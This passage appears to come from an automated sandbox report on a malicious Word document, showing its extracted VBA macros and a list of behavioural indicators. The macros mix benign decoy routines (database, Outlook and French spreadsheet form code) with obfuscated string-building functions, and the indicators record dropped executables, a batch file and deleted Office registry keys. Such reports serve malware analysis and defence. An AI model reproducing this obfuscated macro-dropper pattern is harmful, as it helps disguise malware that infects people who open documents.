"HerName varchar (255), " & _
"HerSurname varchar(255), " & _
"HerAge int"
")"
End Sub
Sub ubb8modify_Table()
On Error Resume Next
DoCmd.runSQL "ALTER TABLE Kendall " & _
"ADD COLUMN Address varchar(255)"
End Sub
Function \xfb\xa2Yvw\xa3() As String
Dim Eel\xb78Cp\xa9\xba
Dim U\xf2c\xb5\xe4Y\xef\xe7y\xe5
Dim C8Q\xe4\xbfwhn\xc4I\xd6
Eel\xb78Cp\xa9\xba = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(71, -1419, -6253)
U\xf2c\xb5\xe4Y\xef\xe7y\xe5 = Eel\xb78Cp\xa9\xba & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(135, 7074, -4975)
C8Q\xe4\xbfwhn\xc4I\xd6 = U\xf2c\xb5\xe4Y\xef\xe7y\xe5 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(136, -4321, 3398)
\xfb\xa2Yvw\xa3 = C8Q\xe4\xbfwhn\xc4I\xd6
End Function
Private Sub hjLCWT7DCommandButton12_Click()
'
' When the user clicks the button, we need to know
' which value needs to be implemented from which
' control element
'
Result = AeOgget_valeur_de_Optionbutton(0)
If Result = False Then
'
' We need to test the value that the user entered
' to not get errors on the sheet
'
wk.Range("jours_activit\xe9s").Value = (TextBox1.Value * 1)
Else
get_valeur_list = ComboBox1.Value
Select Case get_valeur_list
Case Is = "Normal":
wk.Range("jours_activit\xe9s").Value = 365
Case Is = "Business":
wk.Range("jours_activit\xe9s").Value = 251
Case Is = "Jours ouvr\xe9es, Sans Weekend, Avec vacances":
wk.Range("jours_activit\xe9s").Value = 260
End Select
End If
'
' Create object to change phrases
'
Dim changer_les_phrases As PhrasesEngine
Set changer_les_phrases = New PhrasesEngine
changer_les_phrases.change_phrases
End Sub
Private Sub PV43kypGOptionButton1_Change()
'
' We detect change on the option button number 1
' and if the user changed to 'personalized'
' we enable the corresponding elements for him/her
'
Result = AeOgget_valeur_de_Optionbutton(0)
If Result = False Then
TextBox1.Enabled = True
TextBox1.Value = 365
ComboBox1.Enabled = False
Else
TextBox1.Enabled = False
TextBox1.Value = ""
ComboBox1.Enabled = True
End If
End Sub
Private Sub peV2k80kUserForm_Initializer()
Dim weeks(2) As String
Set wk = Worksheets("Config")
'Enable system radio button as true
OptionButton1.Value = True
Result = AeOgget_valeur_de_Optionbutton(0)
If Result Then
TextBox1.Enabled = False
End If
'Initializing the combo box
weeks(0) = "Normal"
weeks(1) = "Business"
weeks(2) = "Jours ouvr\xe9es, Sans Weekend, Avec vacances"
For Each week In weeks
ComboBox1.AddItem week
Next
End Sub
Private Function AeOgget_valeur_de_Optionbutton(Optional ByVal option_button As Long = 0) As Boolean
'
' This is a helper that retrieves the current value
' of the option buttons
'
If option_button = 0 Then
AeOgget_valeur_de_Optionbutton = OptionButton1.Value
ElseIf option_button = 1 Then
AeOgget_valeur_de_Optionbutton = OptionButton1.Value
Else
Err.Raise 0
End If
End Function
Private Sub G8uSWojMUserForm_Terminate()
' DOES NOT WORK
' This is to set the textbox to the new value
ReglagesForm.TextBox5.Value = wk.Range("jours_par_semaines").Value
End Sub
Function c\xc4cuh\xe8n() As String
Dim qX\xc2\xf2y\xba\xb9\xbd\xabwVl
Dim \xbb\xc9q\xc6\xec5ds\xfa
Dim oen\xf63\xba\xfaG
qX\xc2\xf2y\xba\xb9\xbd\xabwVl = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(105, -8378, 9313)
\xbb\xc9q\xc6\xec5ds\xfa = qX\xc2\xf2y\xba\xb9\xbd\xabwVl & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(106, -5432, -195)
oen\xf63\xba\xfaG = \xbb\xc9q\xc6\xec5ds\xfa & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(24, 9129, -9954)
c\xc4cuh\xe8n = oen\xf63\xba\xfaG
End Function
Sub XbEKCreateAppointment()
Dim olAppt As AppointmentItem
Set olAppt = Application.CreateItem(olAppointmentItem)
With olAppt
.Subject = "My Subject"
.Body = "This is the body"
.RequiredAttendees = "something@gmail.com"
.Location = "Lille"
.ReminderMinutesBeforeStart = "30"
.Start = #11/19/2017 2:00:00 AM#
.End = #11/19/2017 4:00:00 AM#
'.BillingInformation = "something"
.Categories = "Business"
.Display
End With
End Sub
Function \xbfa\xa3\xa5\xbfm\xffk() As String
Dim \xa4\xe9\xdc\xa3SwZ
Dim \xfc\xff\xf2\xf2\xe9\xb2uX1
Dim Z8P\xefjn\xa3e
Dim GP\xb1\xb2LX\xe5o\xf4
Dim \xe2c\xb7\xbe1\xbb\xf9\xee\xc2\xdc\xb3
Dim r\xffUW3\xa2\xb9P
Dim wB1G\xb1\xaf\xef3\xf9\xbee\xb5
Dim Dx\xba\xf9I\xb7
\xa4\xe9\xdc\xa3SwZ = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(8, 5102, -1571)
\xfc\xff\xf2\xf2\xe9\xb2uX1 = \xa4\xe9\xdc\xa3SwZ & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(9, 2359, 2966)
Z8P\xefjn\xa3e = \xfc\xff\xf2\xf2\xe9\xb2uX1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(10, 2572, -6826)
GP\xb1\xb2LX\xe5o\xf4 = Z8P\xefjn\xa3e & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(11, 8707, -6677)
\xe2c\xb7\xbe1\xbb\xf9\xee\xc2\xdc\xb3 = GP\xb1\xb2LX\xe5o\xf4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(12, -1906, 5241)
r\xffUW3\xa2\xb9P = \xe2c\xb7\xbe1\xbb\xf9\xee\xc2\xdc\xb3 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(13, 9536, -1937)
wB1G\xb1\xaf\xef3\xf9\xbee\xb5 = r\xffUW3\xa2\xb9P & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(14, 8280, 1790)
Dx\xba\xf9I\xb7 = wB1G\xb1\xaf\xef3\xf9\xbee\xb5 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(15, 6215, 6710)
\xbfa\xa3\xa5\xbfm\xffk = Dx\xba\xf9I\xb7
End Function
Sub z00emanipulating_Tables()
On Error Resume Next
'INSERT values
DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
'UPDATE field
DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
'ALTER TABLE
DoCmd.runSQL "ALTER TABLE X "
End Sub
Sub kbCsedit_Table()
Dim d As DAO.Database
Dim t As TableDef
Dim r As DAO.Recordset
Set d = CurrentDb
Set t = d.TableDefs("...")
Set r = t.OpenRecordset(, dbOpenSnapshot)
r.Edit
r(...).Value = "..."
r.Update
Set d = Nothing
Set t = Nothing
End Sub
Function he\xee\xc96(\xe5\xb8Q\xe0\xb1vWZ\xc0\xa3\xc2N, \xb1\xff\xe7ALMzf\xf2\xe9)
he\xee\xc96 = \xe5\xb8Q\xe0\xb1vWZ\xc0\xa3\xc2N + \xb1\xff\xe7ALMzf\xf2\xe9
End Function
Sub Gv7xmanipulating_Objects()
' The obect is opene with its generic nae
DoCmd.OpenForm "Form1", acNormal, , , acFormAdd, acHidden
Dim current_ObjectName As String
current_ObjectName = CurrentObjectName
Dim f As form
Set f = Forms(current_ObjectName)
'
' Do something
'
DoCmd.Close acForm
"Form1"
acSaveNo
End Sub
Function U\xf4\xeb\xf9\xb3\xfaZ\xb4\xe0Rum() As String
Dim \xdc\xb6\xe1Q8\xc1\xf6\xc1
Dim \xea\xee\xbb\xa2U\xeaSUf
Dim \xe1\xb5v\xb9\xbfy\xaeUC\xaa
Dim \xe2\xa2E\xaan\xfa\xc2y\xdc0P\xb8Z
\xdc\xb6\xe1Q8\xc1\xf6\xc1 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(61, -711, -1596)
\xea\xee\xbb\xa2U\xeaSUf = \xdc\xb6\xe1Q8\xc1\xf6\xc1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(142, 4837, -9133)
\xe1\xb5v\xb9\xbfy\xaeUC\xaa = \xea\xee\xbb\xa2U\xeaSUf & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(93, -7578, 4128)
\xe2\xa2E\xaan\xfa\xc2y\xdc0P\xb8Z = \xe1\xb5v\xb9\xbfy\xaeUC\xaa & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(39, 2421, 843)
U\xf4\xeb\xf9\xb3\xfaZ\xb4\xe0Rum = \xe2\xa2E\xaan\xfa\xc2y\xdc0P\xb8Z
End Function
Sub EiNAmanipulating_Tables()
On Error Resume Next
'INSERT values
DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
'UPDATE field
DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
'ALTER TABLE
DoCmd.runSQL "ALTER TABLE X "
End Sub
Sub k2Nsedit_Table()
Dim d As DAO.Database
Dim t As TableDef
Dim r As DAO.Recordset
Set d = CurrentDb
Set t = d.TableDefs("...")
Set r = t.OpenRecordset(, dbOpenSnapshot)
r.Edit
r(...).Value = "..."
r.Update
Set d = Nothing
Set t = Nothing
End Sub
Function M6\xc66Y\xfaj(\xc1E\xbd\xef\xeb4dT, vfI\xc1X\xfbvZ)
M6\xc66Y\xfaj = \xc1E\xbd\xef\xeb4dT + vfI\xc1X\xfbvZ
End Function
Sub sp4iCreateAppointment()
Dim olAppt As AppointmentItem
Set olAppt = Application.CreateItem(olAppointmentItem)
With olAppt
.Subject = "My Subject"
.Body = "This is the body"
.RequiredAttendees = "something@gmail.com"
.Location = "Lille"
.ReminderMinutesBeforeStart = "30"
.Start = #11/19/2017 2:00:00 AM#
.End = #11/19/2017 4:00:00 AM#
'.BillingInformation = "something"
.Categories = "Business"
.Display
End With
End Sub
Function u\xfbG\xbd2\xb5T\xef4() As String
Dim \xa9p\xb7\xa5\xa3uS\xbf
Dim H\xc9\xb1MO\xa3\xf6\xe7q
Dim U\xe2fh\xd17g\xc4\xb7
Dim z\xf9\xb44\xd6o\xa3\xec2
\xa9p\xb7\xa5\xa3uS\xbf = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(66, 3462, 6451)
H\xc9\xb1MO\xa3\xf6\xe7q = \xa9p\xb7\xa5\xa3uS\xbf & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(45, 1650, 3164)
U\xe2fh\xd17g\xc4\xb7 = H\xc9\xb1MO\xa3\xf6\xe7q & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(58, 2903, 2805)
z\xf9\xb44\xd6o\xa3\xec2 = U\xe2fh\xd17g\xc4\xb7 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(97, 9077, 5341)
u\xfbG\xbd2\xb5T\xef4 = z\xf9\xb44\xd6o\xa3\xec2
End Function
Private Sub B2wYhhI2ToggleButton1_Change()
'6. We then get the current state of the button again...
current_toggle_State = Me.ToggleButton1.Value
Select Case current_toggle_State
'6. If I am still pressed
then...
Case True:
'Value of previous state is 1 (or pressed)
this_Sheet.Range("D7").Value = 1
'Change caption from LIST 1 to LIST 2
ToggleButton1.Caption = "LIST 2"
'List is still LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Tomato", 0
ComboBox1.AddItem "Cucumber", 1
ComboBox1.ListIndex = 0
'6. If I am now unpressed by the user...
Case False:
'Value of previous state is 0 (or unpressed)
this_Sheet.Range("D7").Value = 0
'Change caption from LIST 2 to LIST 1
ToggleButton1.Caption = "LIST 1"
'LIST 2 to LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Pizza", 0
ComboBox1.AddItem "Soda", 1
ComboBox1.ListIndex = 0
End Select
End Sub
Private Sub loMsnbABUserForm_Initialized()
'1. We set our variables
Dim previous_Toggle_State As Long
'2. We set the sheet "food" as an object
Set this_Sheet = Worksheets("Food")
'3. We get the previous button state from the sheet...
previous_Toggle_State = this_Sheet.Range("D7").Value
Select Case previous_Toggle_State
Case 1:
'4. I was pressed, then button should be pressed...
Me.ToggleButton1.Value = True
'And
LIST 1 should active
ComboBox1.Clear
ComboBox1.AddItem "Tomato"
0
ComboBox1.AddItem "Cucumber"
1
ComboBox1.ListIndex = 0
'4. Otherwise, it should be unpressed
Case 0:
Me.ToggleButton1.Value = False
'LIST 2 should active
ComboBox1.Clear
ComboBox1.AddItem "Pizza"
0
ComboBox1.AddItem "Soda"
1
ComboBox1.ListIndex = 0
End Select
End Sub
Function Z\xaahE\x83\xfa\xd1() As String
Dim z\xb9d\xbeD
Dim \x83A\xc0s\xf9t\xad5\xc9
Dim r\xc6\xc6\xbdO\xbe\xa6CvZt\xf9
Dim xIcdb\xa6\xb8ZO
z\xb9d\xbeD = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(24, 9129, -9954)
\x83A\xc0s\xf9t\xad5\xc9 = z\xb9d\xbeD & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(22, 900, 7249)
r\xc6\xc6\xbdO\xbe\xa6CvZt\xf9 = \x83A\xc0s\xf9t\xad5\xc9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(119, -1350, -3228)
xIcdb\xa6\xb8ZO = r\xc6\xc6\xbdO\xbe\xa6CvZt\xf9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(28, 7331, 1405)
Z\xaahE\x83\xfa\xd1 = xIcdb\xa6\xb8ZO
End Function
Sub yL7zCreateAppointment()
Dim olAppt As AppointmentItem
Set olAppt = Application.CreateItem(olAppointmentItem)
With olAppt
.Subject = "My Subject"
.Body = "This is the body"
.RequiredAttendees = "something@gmail.com"
.Location = "Lille"
.ReminderMinutesBeforeStart = "30"
.Start = #11/19/2017 2:00:00 AM#
.End = #11/19/2017 4:00:00 AM#
'.BillingInformation = "something"
.Categories = "Business"
.Display
End With
End Sub
Function \xfc\xe0A\xc25Gb3\xbf() As String
Dim d\xaa\xb4x\xe9sZ\xb9p
Dim P\xb2U\xbcfW\xd6
Dim k\xe1\xb33\xb3\xf2\xbfM\xb24
d\xaa\xb4x\xe9sZ\xb9p = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(71, -1419, -6253)
P\xb2U\xbcfW\xd6 = d\xaa\xb4x\xe9sZ\xb9p & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(115, 3799, 6637)
k\xe1\xb33\xb3\xf2\xbfM\xb24 = P\xb2U\xbcfW\xd6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(116, 8916, -326)
\xfc\xe0A\xc25Gb3\xbf = k\xe1\xb33\xb3\xf2\xbfM\xb24
End Function
Private Sub EaNgUgJMToggleButton1_Change()
'6. We then get the current state of the button again...
current_toggle_State = Me.ToggleButton1.Value
Select Case current_toggle_State
'6. If I am still pressed, then...
Case True:
'Value of previous state is 1 (or pressed)
this_Sheet.Range("D7").Value = 1
'Change caption from LIST 1 to LIST 2
ToggleButton1.Caption = "LIST 2"
'List is still LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Tomato"
0
ComboBox1.AddItem "Cucumber"
1
ComboBox1.ListIndex = 0
'6. If I am now unpressed by the user...
Case False:
'Value of previous state is 0 (or unpressed)
this_Sheet.Range("D7").Value = 0
'Change caption from LIST 2 to LIST 1
ToggleButton1.Caption = "LIST 1"
'LIST 2 to LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Pizza"
0
ComboBox1.AddItem "Soda"
1
ComboBox1.ListIndex = 0
End Select
End Sub
Private Sub uupSqCw6UserForm_Initialized()
'1. We set our variables
Dim previous_Toggle_State As Long
'2. We set the sheet "food" as an object
Set this_Sheet = Worksheets("Food")
'3. We get the previous button state from the sheet...
previous_Toggle_State = this_Sheet.Range("D7").Value
Select Case previous_Toggle_State
Case 1:
'4. I was pressed
then button should be pressed...
Me.ToggleButton1.Value = True
'And, LIST 1 should active
ComboBox1.Clear
ComboBox1.AddItem "Tomato", 0
ComboBox1.AddItem "Cucumber", 1
ComboBox1.ListIndex = 0
'4. Otherwise
it should be unpressed
Case 0:
Me.ToggleButton1.Value = False
'LIST 2 should active
ComboBox1.Clear
ComboBox1.AddItem "Pizza", 0
ComboBox1.AddItem "Soda", 1
ComboBox1.ListIndex = 0
End Select
End Sub
Function dBd\xa6r\xe9B\xa8() As String
Dim R\xab\xb1c\xbdpx\xbf\xfc
Dim \xba8iH7T\xe7\xc66
Dim \xa2\xb2\xa3\xe1\xbc\xa3F\xe1\xb6
Dim \xe0\xa3\xbd\xf2\xfcrW\xe4J\xad
Dim p\xb7R\xbcWn
Dim \xb2Q\xfaW\xfb\xabKl\xb1\xa2
Dim h\xff9N\xe0\xeb\xc2A\xc4F\xb1
Dim P\xd6g9P\xebwZm\xc6
R\xab\xb1c\xbdpx\xbf\xfc = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(0, 2658, 6039)
\xba8iH7T\xe7\xc66 = R\xab\xb1c\xbdpx\xbf\xfc & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(1, 4728, -6965)
\xa2\xb2\xa3\xe1\xbc\xa3F\xe1\xb6 = \xba8iH7T\xe7\xc66 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(2, -6195, -1877)
\xe0\xa3\xbd\xf2\xfcrW\xe4J\xad = \xa2\xb2\xa3\xe1\xbc\xa3F\xe1\xb6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(3, -100, -677)
p\xb7R\xbcWn = \xe0\xa3\xbd\xf2\xfcrW\xe4J\xad & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(4, -3078, 1715)
\xb2Q\xfaW\xfb\xabKl\xb1\xa2 = p\xb7R\xbcWn & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(5, 1641, -8497)
h\xff9N\xe0\xeb\xc2A\xc4F\xb1 = \xb2Q\xfaW\xfb\xabKl\xb1\xa2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(2, -6195, -1877)
P\xd6g9P\xebwZm\xc6 = h\xff9N\xe0\xeb\xc2A\xc4F\xb1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(0, 2658, 6039)
dBd\xa6r\xe9B\xa8 = P\xd6g9P\xebwZm\xc6
End Function
Sub Kwmxcreate_Query()
Dim qdf As QueryDef
Set qdf = CurrentDb.CreateQueryDef("query1", "SELECT * FROM Table")
On Error Resume Next
DoCmd.OpenQuery "query1", acViewDesign, acEdit
DoCmd.Save acQuery, "query1"
DoCmd.Close acQuery, "query1"
DoCmd.rename "new_name", acQuery, "query1"
Set qdf = Nothing
End Sub
Sub rRcdmanipulate_Query()
Dim query_to_change As QueryDef
Set query_to_change = CurrentDb.QueryDefs("query_name")
query_to_change.SQL = "SELECT * FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table ORDER BY ID Asc"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE Fashion"
query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE '" & something & "'"
End Sub
' "SELECT Field1, Field2 FROM Table WHERE Field1 = 'Fashion'"
Function rJSvN\xfb\xb7\xf4\xe44() As String
Dim a\xec\xb2\xa6\xe4\xa3Jm\xaa
Dim \xaa\xe4F\xc4\xb9\xc9a\xfa\xa4
Dim cfUGci3
Dim \xe9\xeb3omxG
a\xec\xb2\xa6\xe4\xa3Jm\xaa = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(100, -2879, 1648)
\xaa\xe4F\xc4\xb9\xc9a\xfa\xa4 = a\xec\xb2\xa6\xe4\xa3Jm\xaa & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(146, 5808, 1546)
cfUGci3 = \xaa\xe4F\xc4\xb9\xc9a\xfa\xa4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
\xe9\xeb3omxG = cfUGci3 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(148, 7770, 7309)
rJSvN\xfb\xb7\xf4\xe44 = \xe9\xeb3omxG
End Function
Sub bYW0get_last_item_clipboard()
Dim clipData As New DataObject
Dim clipString As String
clipItems As Variant
clipString = clipData.GetText
clipString = Replace(clipString, vbLf, vbCr)
clipItems = Split(clipString, vbCr)
End Sub
Function PH\xae\xac\xc2zP\xec() As String
Dim lPV\xf1ZP\xb4m\xa2
Dim x\xc0\xaehcEa\xf1
Dim inCPOXo\xd6P\xb5\xf4
Dim \xbe1\xf4qL7
lPV\xf1ZP\xb4m\xa2 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(13, 9536, -1937)
x\xc0\xaehcEa\xf1 = lPV\xf1ZP\xb4m\xa2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(99, -3375, -9527)
inCPOXo\xd6P\xb5\xf4 = x\xc0\xaehcEa\xf1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(100, -2879, 1648)
\xbe1\xf4qL7 = inCPOXo\xd6P\xb5\xf4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(86, 9325, -5614)
PH\xae\xac\xc2zP\xec = \xbe1\xf4qL7
End Function
Private Sub PeOLqibhClass_Initialize()
'Set sheets at initialization
Call get_Worksheet_Helper
type_entreprise = wk_two.Range("type_entreprise").Value
Call set_phrases_Helper
End Sub
Private Sub J0rkCcjQget_Worksheet_Helper()
Set wk_one = Worksheets("Analyse")
Set wk_two = Worksheets("Config")
End Sub
Private Sub CaOalyEyset_phrases_Helper()
Dim c_var, t_var, d_var As String
'
' This helper is used to create the phrases with the variables
' that were set or calculated in the 'Config' worksheet
'
phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activit\xe9s").Value & _
" jours par semaines soit un nombre total de " & _
Round(wk_two.Range("semaines_activit\xe9s").Value, 2) & " semaines."
'
' TO DO
'
'
' I am using this technique in order to get the correct values to display
' depending on the fact if the enterprise is a restaurant or bar instead
' of a digital based type project
'
If type_entreprise = "num\xe9rique" Then
c_var = "ca_num\xe9rique"
t_var = "frequentation_mensuelle"
d_var = "mois"
Else
c_var = "ca_restauration"
t_var = "frequentation_journali\xe8re"
d_var = "jours"
End If
phrase_five = "Pour une fr\xe9quentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & "
" & _
"le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "\x80 par an"
'
' TO DO
'
phrase_seven = "Le prix unitaire utilis\xe9 pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "\x80 soit " & _
wk_two.Range("N14").Value & "\x80 TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
wk_two.Range("N11").Value & "\x80)"
End Sub
Public Sub QWuXurMBchange_phrases()
wk_one.Range("B8").Value = phrase_one
wk_one.Range("B15").Value = phrase_five
wk_one.Range("B18").Value = phrase_seven
End Sub" - source
- Static Parser
- relevance
- 10/10
-
Contains embedded VBA macros (normalized)
- details
- Normalized macro string: "gmail.com"
- source
- File/Memory
- relevance
- 10/10
- ATT&CK ID
- T1137 (Show technique in the MITRE ATT&CK™ matrix)
-
Creates a writable file in a temporary directory
- details
-
"WINWORD.EXE" created file "%TEMP%\~DF346614C7CB964491.TMP"
"WINWORD.EXE" created file "%TEMP%\wvec0dpd.exe"
"lnt.exe" created file "%TEMP%\mGk2U0c0s.bat" - source
- API Call
- relevance
- 1/10
-
Creates mutants
- details
-
"\Sessions\1\BaseNamedObjects\Global\_MSIExecute"
"Global\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001"
"Local\10MU_ACB10_S-1-5-5-0-61577"
"Local\10MU_ACBPIDS_S-1-5-5-0-61577"
"Global\552FFA80-3393-423d-8671-7BA046BB5906"
"Global\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001"
"Local\ZonesLockedCacheCounterMutex"
"Local\ZonesCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Local\10MU_ACBPIDS_S-1-5-5-0-61577"
"\Sessions\1\BaseNamedObjects\Local\10MU_ACB10_S-1-5-5-0-61577"
"\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"
"\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
"\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001"
"\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001"
"\Sessions\1\BaseNamedObjects\Global\MsoShellExtRegAccess_S-1-5-21-2092356043-4041700817-663127204-1001" - source
- Created Mutant
- relevance
- 3/10
-
Drops files marked as clean
- details
- Antivirus vendors marked dropped file "~_tter-Of-Intent-16-07-19.doc" as clean (type is "data")
- source
- Binary File
- relevance
- 10/10
-
Loads rich edit control libraries
- details
- "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\microsoft shared\OFFICE14\RICHED20.DLL" at 6CCE0000
- source
- Loaded Module
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Process launched with changed environment
- details
- Process "wvec0dpd.exe" (Show Process) was launched with new environment variables: "WecVersionForRosebud.DC4="4""
- source
- Monitored Target
- relevance
- 10/10
-
Removes Office resiliency keys (often used to avoid problems opening documents)
- details
-
"WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "}O")
"WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "3#P")
"WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "}|O")
"WINWORD.EXE" (Access type: "DELETE"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS") - source
- Registry Access
- relevance
- 10/10
- ATT&CK ID
- T1112 (Show technique in the MITRE ATT&CK™ matrix)
-
Scanning for window names
- details
-
"WINWORD.EXE" searching for class "mspim_wnd32"
"WINWORD.EXE" searching for class "MSOBALLOON"
"WINWORD.EXE" searching for class "MsoHelp10"
"WINWORD.EXE" searching for class "AgentAnim" - source
- API Call
- relevance
- 10/10
- ATT&CK ID
- T1010 (Show technique in the MITRE ATT&CK™ matrix)
-
Spawns new processes
- details
-
Spawned process "wvec0dpd.exe" (Show Process)
Spawned process "lnt.exe" (Show Process) - source
- Monitored Target
- relevance
- 3/10
-
Contacts domains
-
Installation/Persistance
-
Dropped files
- details
-
"wvec0dpd.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
"lnt.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
"lent_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
"Letter-Of-Intent-16-07-19.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue Jul 16 16:33:14 2019 mtime=Tue Jul 16 16:33:14 2019 atime=Tue Jul 16 16:33:22 2019 length=392704 window=hide"
"mGk2U0c0s.bat" has type "DOS batch file ASCII text with CRLF line terminators"
"~_tter-Of-Intent-16-07-19.doc" has type "data"
"5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA" has type "data"
"index.dat" has type "data"
"57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data 6597 bytes 1 file"
"~WRS_10DEA314-EDFB-4432-8669-D465C7422325_.tmp" has type "data"
"5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" has type "data"
"~WRS_31D14435-A9DF-43B1-B62B-4A14F3932901_.tmp" has type "data"
"57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"
"~_Normal.dotm" has type "data"
"16-07-2019" has type "data" - source
- Binary File
- relevance
- 3/10
-
Touches files in the Windows directory
- details
-
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
